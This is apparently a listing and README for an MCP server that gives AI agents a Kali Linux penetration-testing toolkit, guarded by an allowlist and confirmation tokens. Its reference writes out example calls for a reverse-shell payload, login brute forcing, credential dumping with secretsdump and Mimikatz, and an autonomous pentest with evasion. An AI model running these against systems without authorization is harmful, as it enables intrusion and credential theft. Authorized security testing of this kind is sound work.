kali-security-bridge
This server provides an MCP-based offensive security testing toolkit that runs authorized penetration tests against allowlisted targets.
Manage the target allowlist and verify target availability before scanning.
Run Nmap port scans (with stealth options), subdomain enumeration via Subfinder, directory brute-forcing with Gobuster, and web crawling with Katana.
Perform vulnerability scans: Nikto, testssl.sh, Nuclei, Dalfox XSS, WPScan, and xmlrpc.php checks.
Test authentication and injection flaws: Hydra brute force, SQLMap SQL injection, and unrestricted file upload (CWE-434) PoCs.
Enumerate MySQL databases, tables, users, and password hashes with known credentials.
Inspect web behavior: custom HTTP requests, security header analysis, exposed sensitive file detection, and screenshots via Gowitness.
Fuzz URLs and parameters with ffuf.
Persist and manage results: list findings, resume sessions, and generate consolidated Markdown or JSON reports.
Run an autonomous full-pentest pipeline with optional brute force and evasion modes.
Allows direct enumeration and testing of MariaDB databases using the MariaDB client.
Allows direct enumeration and testing of MySQL databases using the MariaDB client.
Allows auditing WordPress installations for security vulnerabilities, including plugin/theme enumeration and known vulnerability scanning via WPScan.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@kali-security-bridge run an nmap port scan on scanme.nmap.org"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
kali-security-bridge
An MCP server that gives Claude (or any MCP-compatible AI agent) a complete offensive security testing toolkit — reconnaissance, enumeration, web analysis, exploitation, credential access, Active Directory lateral movement, post-exploitation, and pivoting — running inside an isolated Kali Linux container, with a mandatory target allowlist, rate limiting, a confirmation gate on high-risk actions, and a full audit log.
In short: AI-driven penetration testing automation, safely sandboxed in Docker, exposed as 63 MCP tools so Claude Code, Claude Desktop, ChatGPT, or any other MCP-compatible client can run a full web app / WordPress / network / Active Directory pentest — Nmap port scanning, Nikto and Nuclei vulnerability scanning, Gobuster/ffuf directory brute forcing, SQLMap SQL injection testing, Hydra credential brute forcing, WPScan WordPress auditing, John/Hashcat hash cracking, Metasploit, reverse shell and evil-winrm session management, Impacket/BloodHound/NetExec Active Directory tooling, LinPEAS/WinPEAS privilege-escalation enumeration, Chisel/ ligolo-ng pivoting, and automated Markdown/JSON reporting — all from a chat conversation.
⚠️ Read
SECURITY.mdbefore using this. This project runs real offensive tools (hydra,sqlmap,metasploit, credential dumping, lateral movement, etc.) — only ever against targets you have explicit authorization to test.
Table of contents
Related MCP server: redteam-mcp
Architecture and infrastructure
AI client (Claude Code / Claude Desktop / ChatGPT / ...)
│ MCP — local stdio, OR remote HTTP with OAuth
▼
server.py (FastMCP) ──docker exec (no shell)──▶ kali-mcp-box container
│ (Kali Linux + tools)
▼
~/.kali-mcp/findings.db (SQLite) + audit.log + reportsThe project uses two topologies, depending on who's connecting:
Component | Used | Role |
Docker | always | Isolates the offensive tools inside their own container ( |
FastMCP (Python) | always | Implements the MCP protocol and exposes the tools; runs over |
systemd ( | remote mode | Keeps the HTTP server alive as a persistent service, with automatic restart and reboot survival ( |
AWS Cognito | remote mode | OAuth 2.1 Authorization Server — requires login before any tool call when exposed over HTTP. Never used in local stdio mode |
Cloudflare Tunnel ( | remote mode | Exposes the server on a real public domain with valid TLS. Needed even for personal remote use: OAuth registration for clients like Claude Desktop or ChatGPT is done by the vendor's own backend (Anthropic's, OpenAI's), which can't reach domains that only exist on private DNS/VPN (e.g. Tailscale's |
No GPU/CUDA is involved anywhere in this — see the requirements section.
Minimum requirements
To run locally (stdio, used with Claude Code)
Docker + Docker Compose v2
uv (manages Python 3.13 automatically)
CPU: 2 cores (limit applied to the container via
docker-compose.yml)RAM: 4 GB free (2 GB reserved for the container + host + Python process)
Disk: ~6 GB free (final image ~3 GB; the multi-stage build can spike higher during the Go compile stage)
OS: Linux or macOS with Docker Desktop. Windows works via WSL2
A user with permission on the Docker socket (
dockergroup or root)
Additional, only for remote exposure (HTTP + OAuth)
An AWS account (Cognito has a free tier — 50k MAUs/month free, plenty for personal use/small teams)
AWS CLI configured, to create the User Pool/App Client
cloudflaredinstalled (Cloudflare Tunnel) — no domain of your own needed to test (a Quick Tunnel generates a*.trycloudflare.comURL on the spot); a custom domain is recommended for permanent usesystemd (
systemctl --user) if running as a persistent service on Linux — on another OS, adapt to the equivalent process manager (launchd, etc.)
GPU / CUDA
Not used by this project. No tool in the container (nmap, sqlmap,
hydra, nuclei, etc.) depends on a GPU — everything is CPU-bound. The
docker-compose.yml reserves no GPU device, and the Dockerfile installs no
CUDA/NVIDIA drivers. If the host machine has a GPU, it sits idle as far as
this project is concerned.
Tools available in the container
Installed via apt (final image based on kalilinux/kali-rolling):
Tool | Category |
| Port/service scanning |
| SMB browsing/download — |
| Web vulnerability scanning |
| SSL/TLS analysis |
| WordPress security auditing |
| SQL injection testing |
| Credential brute forcing |
| Directory enumeration |
| Fast fuzzing |
| Exploitation (msfvenom, msfconsole) |
| Hash identification / cracking |
| Public-exploit lookup |
| Routing tool traffic through a pivot tunnel |
| Reverse engineering / forensics |
| Direct MySQL/MariaDB enumeration |
| Session management (keeps a reverse shell alive across MCP calls) |
| Interactive Telnet/FTP clients — |
| HTTP requests / rendering |
Compiled from source or fetched as a pinned prebuilt release in a separate Go
builder stage (golang:1.24-bookworm), with only the final binaries copied
into the image (keeps the final image lean):
Tool | Category |
| Subdomain enumeration |
| Web application crawling |
| Template-based CVE detection (updated at build time) |
| XSS detection |
| Screenshot evidence capture |
| Batch HTTP probing — renamed from |
| Reverse-tunnel pivoting |
| Git/filesystem secret scanning |
| Full-network pivoting via a routed tun interface |
Installed via a dedicated uv-managed Python venv (/opt/pymcp-venv, kept
off Kali's system Python), or git-cloned at a pinned tag/commit when there's
no usable PyPI package:
Tool | Category |
| AD/SMB enumeration and lateral movement (successor to CrackMapExec) |
| AD credential dumping and lateral movement |
| Active Directory attack-path collection |
| SMB/AD enumeration |
| Memory forensics |
| Binary symbolic execution |
| CTF/binary-exploitation scripting |
| JS secret extraction, JWT analysis, GraphQL fingerprinting |
| Windows session over WinRM |
| LLMNR/NBT-NS poisoning |
⚠️
graphw00fis NOT installed viapip install graphw00f. That exact name is registered on PyPI as an inert dependency-confusion decoy (its own package description says so) — the real tool only exists as a GitHub repo and is what the Dockerfile actually clones. Worth remembering before ever runningpip install <tool-name>on a name lifted from documentation without checking PyPI first.
Mimikatz is staged only when explicitly requested at build time (see
below) — it's excluded by default because it's frequently AV/registry-policy
flagged. run_mimikatz() refuses to run if it isn't present in the image.
Wordlists included: rockyou.txt (decompressed at build time), Kali's
standard wordlists (dirb, dirbuster), and a custom sensitive-paths list
(config/sensitive-paths.txt, 60+ entries — .env, database backups,
wp-config.php.bak, etc.) used by check_exposed_files.
Starting the Docker image
git clone <this-repository>
cd kali-mcp
# build the image (first time, or after updating the Dockerfile)
docker compose build
# start the container in the background — it stays alive waiting for MCP exec
docker compose up -d
# confirm it's up
docker ps --filter name=kali-mcp-boxTo force a fully fresh image (updated packages/templates, no cache):
docker compose build --no-cache
docker compose up -d # recreates the container from the new imageTo include Mimikatz (off by default — see SECURITY.md):
docker compose build --build-arg INCLUDE_OFFENSIVE_BINARIES=true
docker compose up -dRebuilding periodically is recommended — the image doesn't update itself,
and the Nuclei templates/apt packages stay frozen at build time.
Tutorials — connecting an AI client
Full step-by-step guides live in docs/tutorials/,
one per client, so this README stays a readable overview as more
integrations get added:
Client | Where it runs | Guide |
Claude Code | Same machine as the server (local | |
Claude Desktop | Any machine (remote, HTTPS + OAuth) | |
ChatGPT | Any machine (remote, HTTPS + OAuth) |
Both remote clients share the same one-time infrastructure setup — AWS
Cognito for OAuth 2.1 + a Cloudflare Tunnel for TLS — documented once in
docs/tutorials/remote-https-setup.md,
which also explains why a real public HTTPS endpoint is a hard
requirement for these clients (short version: their backends, not your
browser, perform the OAuth handshake against your server, so a private-only
address or self-signed cert simply won't work). Local stdio (Claude Code)
needs none of that, since there's no network hop for anything to
authenticate.
See docs/tutorials/README.md for the full index, including how to add a guide for another client.
MCP tools — reference and usage examples
Required workflow: add the target to the allowlist before any scan. No tool will run against an unauthorized target.
Governance
manage_allowlist — adds/removes/lists authorized targets
manage_allowlist(action="add", entry="192.168.1.10", note="lab VM — authorized on 2026-05-18")
manage_allowlist(action="list")
manage_allowlist(action="remove", entry="192.168.1.10")check_target_online — ping before any scan
check_target_online(target="192.168.1.10")resume_session — resumes an interrupted pentest, listing saved scans
resume_session(target="example.com")list_findings — queries the finding history in SQLite
list_findings(target="192.168.1.10", limit=20)generate_report — consolidates all findings for a target into one report
generate_report(target="192.168.1.10", output_format="markdown")request_high_risk_action — issues a 10-minute, single-use confirmation
token required before running a high-risk tool (credential dumping, lateral
movement, Mimikatz, netexec write/exec modes, opening a pivot tunnel)
request_high_risk_action(
action="impacket_secretsdump", target="10.0.0.20",
justification="Domain Admin creds needed to validate lateral movement per engagement scope §3.2",
)
# -> {"token": "...", "expires_at": "..."} — pass the token as confirmation_token= to the gated toolReconnaissance
scan_ports_nmap — port scanning, always the first phase
scan_ports_nmap(target="192.168.1.10", flags="-sV -F")
scan_ports_nmap(target="192.168.1.10", flags="-p 1-65535 -sV", stealth=True)
# lab targets (HTB, THM, ...) commonly report "Host seems down" against
# Nmap's default discovery despite answering plain ICMP — retry with:
scan_ports_nmap(target="10.10.10.5", skip_host_discovery=True)enumerate_ftp — anonymous (or credentialed) FTP login check + root
directory listing
enumerate_ftp(target="192.168.1.10") # anonymous:anonymous by default
enumerate_ftp(target="192.168.1.10", username="admin", password="pw")enum_subdomains_subfinder — passive subdomain reconnaissance
enum_subdomains_subfinder(domain="example.com")scan_directories_gobuster — brute-force hidden directories/files
scan_directories_gobuster(target_url="http://192.168.1.10", extensions="php,html,js,txt,bak,zip,env")
scan_directories_gobuster(target_url="https://app.local", evasion=True) # target with a WAFcrawl_application_katana — crawling to discover endpoints/parameters
crawl_application_katana(target_url="http://192.168.1.10", depth=3)scan_fuzzing_ffuf — fast fuzzing of directories, parameters, or APIs
scan_fuzzing_ffuf(target_url="http://192.168.1.10/FUZZ") # directories
scan_fuzzing_ffuf(target_url="http://192.168.1.10/page", param_name="id") # GET parameter
scan_fuzzing_ffuf(target_url="http://192.168.1.10/login", param_name="user", method="POST")Vulnerability analysis
scan_vulnerabilities_nikto — general web vulnerability scan
scan_vulnerabilities_nikto(target_url="http://192.168.1.10")scan_ssl_testssl — weak protocols/ciphers, certificates, HEARTBLEED, etc.
scan_ssl_testssl(target="app.example.com", port=443)scan_nuclei — known CVEs via templates
scan_nuclei(target_url="http://192.168.1.10", severity="high,critical")
scan_nuclei(target_url="http://192.168.1.10", tags="wordpress")scan_xss_dalfox — reflected/DOM XSS
scan_xss_dalfox(target_url="http://app.local/search?q=test")scan_wordpress_wpscan — full WordPress audit
scan_wordpress_wpscan(target_url="http://192.168.1.10", enumerate="vp,vt,u")scan_xmlrpc_wordpress — attack vectors on xmlrpc.php
scan_xmlrpc_wordpress(target_url="http://192.168.1.10")Exploitation
scan_sql_injection_sqlmap — SQL injection, always escalating risk gradually
scan_sql_injection_sqlmap(target_url="http://app.local/user?id=1", risk=1, level=1) # start herebrute_force_hydra — weak credentials on authentication services
brute_force_hydra(target="192.168.1.10", service="ssh", port=22)
brute_force_hydra(
target="192.168.1.10", service="http-post-form", port=80,
http_form_path="/wp-login.php",
http_form_data="log=^USER^&pwd=^PASS^&wp-submit=Log+In",
http_form_fail="ERROR",
)test_file_upload — PoC for unrestricted upload (CWE-434)
test_file_upload(upload_url="http://192.168.1.10/upload.php", field_name="file")enumerate_mysql_database — enumerate databases/tables/hashes with known credentials
enumerate_mysql_database(host="192.168.1.10", user="root", password="root", database="wordpress")metasploit_generate_payload — msfvenom wrapper; lhost/lport are your
own listener, so this doesn't touch the allowlist
metasploit_generate_payload(payload="linux/x64/shell_reverse_tcp", lhost="10.10.10.5", lport=4444, format="elf")metasploit_run_module — msfconsole wrapper, sets RHOSTS from target automatically
metasploit_run_module(
module="auxiliary/scanner/smb/smb_version", options={"RPORT": "445"}, target="192.168.1.10",
)Web utilities
make_http_request — custom HTTP request
make_http_request(url="http://192.168.1.10/.env")
make_http_request(url="http://192.168.1.10/api/login", method="POST", body="user=admin&pass=test")check_security_headers — CSP, HSTS, cookies, CORS, with severity
check_security_headers(target_url="https://app.local")check_exposed_files — .env, backups, phpinfo.php, etc.
check_exposed_files(target_url="http://192.168.1.10")screenshot_gowitness — visual evidence of the application
screenshot_gowitness(target_url="http://192.168.1.10/admin")Credentials
identify_hash — identifies the likely hash algorithm(s) via hashid
identify_hash(hash_value="5f4dcc3b5aa765d61d8327deb882cf99")crack_hash_john / crack_hash_hashcat — offline dictionary attacks;
cracked plaintext is returned to you and persisted encrypted (see
SECURITY.md), never logged in the clear
crack_hash_john(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_type="raw-md5")
crack_hash_hashcat(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_mode=0)search_exploit — Exploit-DB lookup via searchsploit; also called
automatically at the end of scan_nuclei/scan_ports_nmap for any CVE IDs
found in their output
search_exploit(query="wordpress 6.2")
search_exploit(query="CVE-2023-1234")Sessions
start_reverse_shell_listener — nc listener kept alive in a tmux session
inside the container
start_reverse_shell_listener(target="192.168.1.10", port=4444)connect_telnet — opens a Telnet session via the same tmux-backed
session mechanism as reverse shells
connect_telnet(target="192.168.1.10")
connect_telnet(target="192.168.1.10", port=2323)session_exec — sends a command to an open session, revalidates the
allowlist on every call
session_exec(session_id="a1b2c3d4e5f6", command="whoami")session_status / session_list / session_close
session_status() # list every session
session_list(target="192.168.1.10")
session_close(session_id="a1b2c3d4e5f6")Active Directory
enum_smb_shares — enum4linux-ng, read-only
enum_smb_shares(target="192.168.1.20")smb_list_dir — lists a share's contents (or a subdirectory within it)
via smbclient; use to find exact filenames before smb_get_file
smb_list_dir(target="192.168.1.20", share="share") # anonymous
smb_list_dir(target="192.168.1.20", share="share", path="backups")
smb_list_dir(target="192.168.1.20", share="share", username="admin", password="pw")smb_get_file — downloads a file from an SMB share and returns its
content directly
smb_get_file(target="192.168.1.20", share="share", remote_path="flag.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="backups/usuarios.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="secret.docx", username="admin", password="pw")enum_ad_netexec — netexec (nxc); read modes run directly, credential-
dump/exec modes require request_high_risk_action first
enum_ad_netexec(target="192.168.1.20", mode="shares")
enum_ad_netexec(target="192.168.1.20", mode="ntds", confirmation_token="...")bloodhound_collect — AD attack-path data collection
bloodhound_collect(domain="corp.local", target="192.168.1.20", username="user", password="pass")impacket_secretsdump / impacket_psexec — HIGH RISK, both require
a confirmation_token
token = request_high_risk_action(
action="impacket_secretsdump", target="192.168.1.20", justification="...",
)["token"]
impacket_secretsdump(target="192.168.1.20", username="admin", password="pw", confirmation_token=token)evil_winrm_connect — opens a WinRM session via the same tmux-backed
session mechanism as reverse shells
evil_winrm_connect(target="192.168.1.20", username="admin", password="pw")Post-exploitation
run_linpeas / run_winpeas — privilege-escalation enumeration
against an open session
run_linpeas(session_id="a1b2c3d4e5f6")
run_winpeas(session_id="a1b2c3d4e5f6")run_mimikatz — HIGH RISK, requires a confirmation_token; refuses to
run unless the image was built with INCLUDE_OFFENSIVE_BINARIES=true
run_mimikatz(session_id="a1b2c3d4e5f6", confirmation_token="...")Pivoting
start_chisel_tunnel / start_ligolo_tunnel — both require the pivot
host in the allowlist AND a confirmation_token. Opening a tunnel never adds
anything to the allowlist — any host reached through it still needs its own
manage_allowlist() entry before it can be scanned.
start_chisel_tunnel(target="192.168.1.20", local_port=9001, remote_port=8080, confirmation_token="...")
start_ligolo_tunnel(target="192.168.1.20", confirmation_token="...")pivot_scan_via_proxychains — runs any command through the tunnel
pivot_scan_via_proxychains(target="10.10.10.5", command="nmap -sV -F 10.10.10.5")Forensics / binary analysis
CTF/forensics workflow — not part of the standard web pentest flow.
analyze_memory_volatility(dump_path="/tmp/dump.raw", plugin="windows.pslist")
disassemble_binary_r2(binary_path="/tmp/vuln")
debug_binary_gdb(binary_path="/tmp/vuln", commands="break main; run; info registers")
extract_binwalk(file_path="/tmp/firmware.bin")analyze_binary_angr / exploit_pwntools_helper — EXPERIMENTAL,
execute caller-supplied Python inside the container
analyze_binary_angr(binary_path="/tmp/vuln", analysis="cfg = proj.analyses.CFGFast(); result = len(cfg.graph.nodes)")
exploit_pwntools_helper(script="from pwn import *\np = process('/tmp/vuln')\np.sendline(b'A'*40)\nprint(p.recvall())")Secrets / JS / API
scan_secrets_trufflehog(target_url_or_repo="https://github.com/org/repo.git")
scan_js_secretfinder(target_url="http://app.local/main.js")
analyze_jwt(token="eyJhbGciOiJIUzI1NiJ9...")
fingerprint_graphql_graphw00f(target_url="http://app.local/graphql")Orchestration
run_full_pentest — autonomous end-to-end pipeline (16 phases)
run_full_pentest(target="192.168.1.10")
run_full_pentest(target="example.com", target_url="https://example.com", include_brute_force=True, evasion=True)Local data (outside the repository)
Path | Contents |
| SQLite: |
| Fernet key (0600) that encrypts the |
| Audit log of every execution — sensitive fields (passwords, hashes, tokens) are redacted before logging |
| Reports generated by |
| Raw output of each scan + |
License
Available Tools
25 toolsbrute_force_hydraA
Testa credenciais fracas em serviços de autenticação usando Hydra. Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.
ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.
Serviços válidos: ssh, ftp, http-get, http-post-form, rdp, telnet, smtp, pop3, imap, smb
Para http-post-form, configure: http_form_path: caminho do formulário. Ex: "/wp-login.php", "/login" http_form_data: campos do formulário com ^USER^ e ^PASS^. Ex: "log=^USER^&pwd=^PASS^&wp-submit=Log+In" http_form_fail: string presente na resposta em caso de falha. Ex: "ERROR", "Invalid", "incorrect"
Inputs: port (required), target (required), service (required), passlist, +4 more. Returns: object
crawl_aplicacao_katanaA
Faz crawling da aplicação web para descobrir endpoints e parâmetros usando Katana. Use após o Gobuster. URLs com parâmetros na saída são candidatas a Dalfox e SQLMap.
Inputs: target_url (required), depth, evasion. Returns: object
enumerar_banco_mysqlA
Conecta diretamente ao MySQL e enumera bancos, tabelas, usuários e hashes de senha. Use quando Nmap identificar porta 3306 exposta com credenciais fracas.
Para WordPress: passe database="wordpress" para extrair hashes da tabela wp_users e quebrá-los offline com hashcat (formato phpass).
ATENÇÃO: acesso direto ao banco — use somente em ambientes autorizados.
Inputs: host (required), port, user, database, +1 more. Returns: object
enum_subdominios_subfinderA
Enumera subdomínios via reconhecimento passivo usando Subfinder. Use quando o alvo for um domínio público, após o Nmap inicial.
Inputs: domain (required). Returns: object
fazer_requisicao_httpA
Faz requisição HTTP customizada para verificar conteúdo, headers ou testar payloads. Use para confirmar arquivos expostos (.env, phpinfo.php, backups), inspecionar responses de endpoints ou enviar payloads manuais durante verificação de evidências.
Inputs: url (required), body, method, headers, +2 more. Returns: object
gerar_relatorioA
Gera relatório consolidado de todos os findings de um alvo. Arquivo salvo em ~/.kali-mcp/workspaces/_.
Inputs: target (required), formato. Returns: object
gerenciar_allowlistA
Gerencia a allowlist de alvos autorizados para testes.
NENHUMA ferramenta de scan funcionará sem que o alvo esteja aqui. Configure sempre antes de iniciar um pentest.
Inputs: action (required), note, entry. Returns: object
listar_findingsC
Lista findings registrados no banco de dados, filtrados opcionalmente por alvo.
Inputs: limit, target. Returns: object
pentest_completoC
Executa o pipeline completo de pentest de forma autônoma na ordem correta.
Inputs: target (required), evasion, target_url, include_brute_force. Returns: object
retomar_sessaoA
Lista todos os scans salvos em disco para um alvo, permitindo retomar um pentest interrompido sem perder o progresso anterior.
Outputs são salvos automaticamente em ~/mcps/outputs/kali-mcp// a cada scan.
Inputs: target (required). Returns: object
scan_diretorios_gobusterA
Enumera diretórios e arquivos ocultos usando Gobuster. Use após identificar portas HTTP/HTTPS no Nmap, antes do Nikto.
Inputs: target_url (required), evasion, wordlist, extensions. Returns: object
scan_fuzzing_ffufA
Fuzzing rápido usando ffuf. Mais veloz e flexível que gobuster. Suporta fuzzing de diretórios, parâmetros GET/POST e endpoints de API REST.
Inputs: target_url (required), method, evasion, wordlist, +3 more. Returns: object
scan_nucleiA
Detecta CVEs e vulnerabilidades conhecidas via templates usando Nuclei. Use após o Nikto para cobrir CVEs específicos baseados nas versões identificadas.
Inputs: target_url (required), tags, severity. Returns: object
scan_portas_nmapA
Realiza varredura de portas usando Nmap. Use SEMPRE como primeira fase.
Inputs: target (required), flags, stealth. Returns: object
scan_sql_injection_sqlmapA
Testa SQL Injection usando SQLMap. Use quando a URL contiver parâmetros GET/POST ou o Nikto reportar possível SQLi.
Escalonamento obrigatório — sempre comece no nível mais baixo: Conservador: risk=1, level=1 Moderado: risk=2, level=3 Máximo: risk=3, level=5 ← pode modificar dados, use só com autorização explícita
Inputs: target_url (required), risk, level. Returns: object
scan_ssl_testsslA
Analisa configuração SSL/TLS usando testssl.sh. Use quando Nmap identificar porta 443 ou outro serviço HTTPS.
Detecta: protocolos fracos (SSLv2/v3, TLS 1.0/1.1), cifras fracas, BEAST/POODLE/HEARTBLEED, certificados inválidos/expirados, HSTS ausente.
Inputs: target (required), port. Returns: object
scan_vulnerabilidades_niktoA
Executa varredura de vulnerabilidades web usando Nikto. Use quando o Nmap identificar portas HTTP/HTTPS abertas.
Detecta: arquivos sensíveis expostos, cabeçalhos ausentes, métodos HTTP perigosos, versões desatualizadas, vetores XSS/injeção, SSL/TLS fraco.
Inputs: target_url (required), evasion. Returns: object
scan_wordpress_wpscanA
Executa auditoria completa de WordPress usando WPScan. Use quando identificar um site WordPress (wp-login.php, wp-content/ no Gobuster/Nikto).
Detecta: plugins e temas vulneráveis, usuários enumerados, senhas fracas, xmlrpc habilitado, configurações inseguras, backups expostos.
Inputs: target_url (required), enumerate, aggressive. Returns: object
scan_xmlrpc_wordpressB
Testa o endpoint xmlrpc.php do WordPress para vetores de ataque. Use quando WPScan ou Nikto reportar xmlrpc.php acessível.
Inputs: target_url (required). Returns: object
scan_xss_dalfoxA
Testa Cross-Site Scripting (XSS) usando Dalfox. Use quando a URL contiver parâmetros GET ou o Katana descobrir formulários.
Detecta: Reflected XSS, DOM XSS, bypass de filtros WAF.
Inputs: target_url (required). Returns: object
screenshot_gowitnessA
Captura screenshot da aplicação web para documentar evidências usando Gowitness. Screenshots salvos em /tmp/gowitness/ dentro do container.
Inputs: target_url (required). Returns: object
testar_upload_arquivoA
Verifica vulnerabilidade de upload irrestrito de arquivos (CWE-434). Envia um arquivo PHP de prova-de-conceito inócuo e verifica se é executável.
ATENÇÃO: Cria um arquivo PHP sem comandos destrutivos no servidor de teste. Use somente em ambientes autorizados.
Inputs: upload_url (required), field_name, upload_path_hint. Returns: object
verificar_alvo_onlineA
Verifica se o alvo responde via ping antes de iniciar qualquer scan. Use como primeira verificação para evitar scans desnecessários.
Inputs: target (required). Returns: object
verificar_arquivos_expostosA
Verifica exposição de arquivos e diretórios sensíveis usando Gobuster com wordlist dedicada.
Detecta: .env, wp-config.php.bak, phpinfo.php, backup.zip, .git/, debug.log, composer.json, secrets.yml, database.sql, e dezenas de outros arquivos críticos. Use logo após o Gobuster padrão para cobertura específica de leaks.
Inputs: target_url (required), evasion. Returns: object
verificar_headers_segurancaA
Analisa headers de segurança HTTP e flags de cookies do alvo. Retorna análise estruturada: headers presentes, ausentes ou misconfigurados, com severidade (high/medium/low) para cada achado.
Verifica: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy, Permissions-Policy, CORS (Access-Control-Allow-Origin), cookies (HttpOnly, Secure, SameSite).
Inputs: target_url (required). Returns: object
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 25 tools
Most tools are clearly differentiated by scanner/tool name (nmap, subfinder, nikto, sqlmap, etc.) and phase (recon, scanning, evidence). The main confusion points are scan_diretorios_gobuster vs scan_fuzzing_ffuf and scan_vulnerabilidades_nikto vs scan_nuclei, but descriptions state when each should be used.
All names use lowercase snake_case and generally follow an action_object_tool pattern (scan_portas_nmap, enum_subdominios_subfinder). The main inconsistency is the scan_ prefix appearing on some tools but not on other action-first names like brute_force_hydra, screenshot_gowitness, or fazer_requisicao_http.
25 tools is at the threshold where the set starts to feel heavy. While a pentest suite justifies many specialized scanners, several tools overlap in function (directory enumeration, generic web vulnerability scanning), so the count is not as lean as it could be.
The set covers the full lifecycle from authorization and recon through scanning, evidence collection, findings listing, and report generation, plus session resume. Minor gaps exist around triage/management of findings (no update/delete or false-positive marking), but core pentest workflows are well covered.
Maintenance
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Scans remote MCP servers for protocol, security, and TLS issues; exposes scan tools via MCP.
MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.
Related MCP Servers
- AlicenseNot gradedqualityNot gradedmaintenanceA Kali Linux-based MCP server that exposes over 45 penetration testing tools for AI-assisted security auditing and vulnerability scanning. It features strict scope enforcement, structured output parsing, and persistent finding storage to automate the offensive security workflow.MIT
- FlicenseNot gradedqualityDmaintenanceA penetration testing MCP server that runs 20 hacking tools inside a Kali Linux Docker container, enabling AI assistants to execute security scans and attacks via natural language.2-
- FlicenseNot gradedqualityDmaintenanceA Dockerized Kali Linux MCP server that enables LLMs to perform network security scans, penetration testing, and reconnaissance using tools like Nmap, Nikto, Hydra, and SQLMap.7 npm-
- FlicenseNot gradedqualityDmaintenanceA Docker-based MCP server exposing a curated set of Kali Linux security tools for authorized, hands-on network scanning on private ranges, with enforced trustworthiness and honest output.-